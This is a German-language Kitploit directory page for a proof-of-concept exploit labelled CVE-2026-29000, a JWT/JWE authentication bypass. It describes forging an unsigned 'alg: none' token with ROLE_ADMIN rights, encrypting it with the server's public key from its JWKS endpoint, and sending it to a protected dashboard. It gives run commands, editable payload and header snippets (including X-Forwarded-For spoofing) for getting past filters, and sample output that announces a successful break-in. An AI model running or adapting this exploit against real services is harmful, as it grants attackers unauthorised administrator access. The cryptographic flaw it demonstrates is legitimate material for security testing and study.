Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-29000 — PoC für CVE-2026-29000 | Kitploit
Tools/GitHubGitHub/zf-tm/cve-2026-29000
Authentifizierung & AutorisierungVerschlüsselungs-/EntschlüsselungstoolsSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC für CVE-2026-29000

Repository anzeigen
16vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

JWT/JWE-Authentifizierungs-Bypass-PoC

Ein Proof-of-Concept-Skript (PoC), das eine Authentifizierungs-Bypass-Schwachstelle mithilfe von JSON Web Tokens (JWT) und JSON Web Encryption (JWE) demonstriert. Dieses Tool nutzt Umgebungen aus, die Token-Algorithmen nicht ordnungsgemäß validieren, indem es unverifizierte JWTs (alg: none) akzeptiert, die in eine gültige JWE-Struktur eingebettet sind.

So funktioniert es

Diese Exploit-Kette nutzt einen häufigen kryptografischen Implementierungsfehler aus:

  1. Schlüsselextraktion: Das Skript kontaktiert den öffentlich zugänglichen jwks-Endpunkt (JSON Web Key Set) des Ziels und lädt den öffentlichen RSA-Schlüssel des Servers herunter.
  2. Token-Fälschung: Es erstellt eine gefälschte, unverifizierte JWT-Nutzlast, die ROLE_ADMIN-Rechte gewährt. Dabei setzt es absichtlich den Algorithmus-Header auf "alg": "none".
  3. JWE-Kapselung: Um anfängliche Sicherheitsfilter zu umgehen, die Klartext- oder unverifizierte Token ablehnen könnten, verschlüsselt es das gefälschte JWT mit dem eigenen öffentlichen Schlüssel des Servers und verpackt es in ein gültiges JWE.
  4. Authentifizierung: Das gefälschte JWE wird über den Authorization: Bearer-Header an das geschützte Dashboard des Ziels gesendet. Wenn der Server das JWE entschlüsselt und dem inneren JWT blind vertraut, ohne dessen Signatur zu überprüfen, wird der Zugriff gewährt.

Voraussetzungen

Stellen Sie vor der Ausführung des Skripts sicher, dass Python 3 sowie die erforderlichen Abhängigkeiten installiert sind.

root@kitploit:~
pip install requests jwcrypto

Verwendung

Das Skript benötigt zwei Argumente: die URL des geschützten Dashboard-Endpunkts, den Sie testen möchten, und die URL, unter der die öffentlichen Schlüssel bereitgestellt werden.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Anpassen des Exploits

Abhängig von Ihrem Ziel müssen Sie möglicherweise die Token-Struktur oder die HTTP-Anfragen anpassen, um bestimmte Filter zu umgehen.

  1. Anpassen der internen JWT-Header und der Nutzlast

Wenn der Zielserver bestimmte Felder im JWT selbst erwartet (z. B. einen typ-Header oder benutzerdefinierte Benutzer-IDs in der Nutzlast), können Sie diese problemlos hinzufügen.

Öffnen Sie exploit.py und suchen Sie diesen Abschnitt:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

Sie können beliebige Felder hinzufügen, indem Sie sie mit Kommas trennen. Um beispielsweise einen typ (Typ) und eine kid (Key-ID) zum JWT-Header sowie eine benutzerdefinierte E-Mail zur Nutzlast hinzuzufügen:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Anpassen der HTTP-Header

Wenn Ihr Ziel bestimmte Netzwerk-Header erfordert (wie einen benutzerdefinierten User-Agent, Bypass-Header wie X-Forwarded-For oder API-Schlüssel), suchen Sie die Netzwerkanfrage am Ende des Skripts:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Fügen Sie Ihre zusätzlichen Netzwerk-Header wie folgt hinzu:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Hinweis: Wenn diese Header auch beim anfänglichen Herunterladen der öffentlichen Schlüssel gesendet werden müssen, können Sie dasselbe Dictionary an den requests.get()-Aufruf am Anfang des Skripts übergeben.

Erwartete Ausgabe

Im Erfolgsfall gibt das Skript das gefälschte Token und die geparste Antwort des geschützten Endpunkts aus, was den Bypass beweist:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Fehlerbehebung

  • HTTP-401/403-Fehler: Der Zielserver validiert Signaturen ordnungsgemäß und lehnt die alg: none-Nutzlast ab. Der Exploit ist fehlgeschlagen, weil das Ziel sicher ist.

  • Verbindungsfehler: Stellen Sie sicher, dass die angegebenen URLs das vollständige Schema enthalten (http:// oder https://) und dass der Zielserver derzeit erreichbar ist.

  • Abhängigkeitsfehler: Stellen Sie sicher, dass jwcrypto ordnungsgemäß über pip installiert wurde.

Tool herunterladen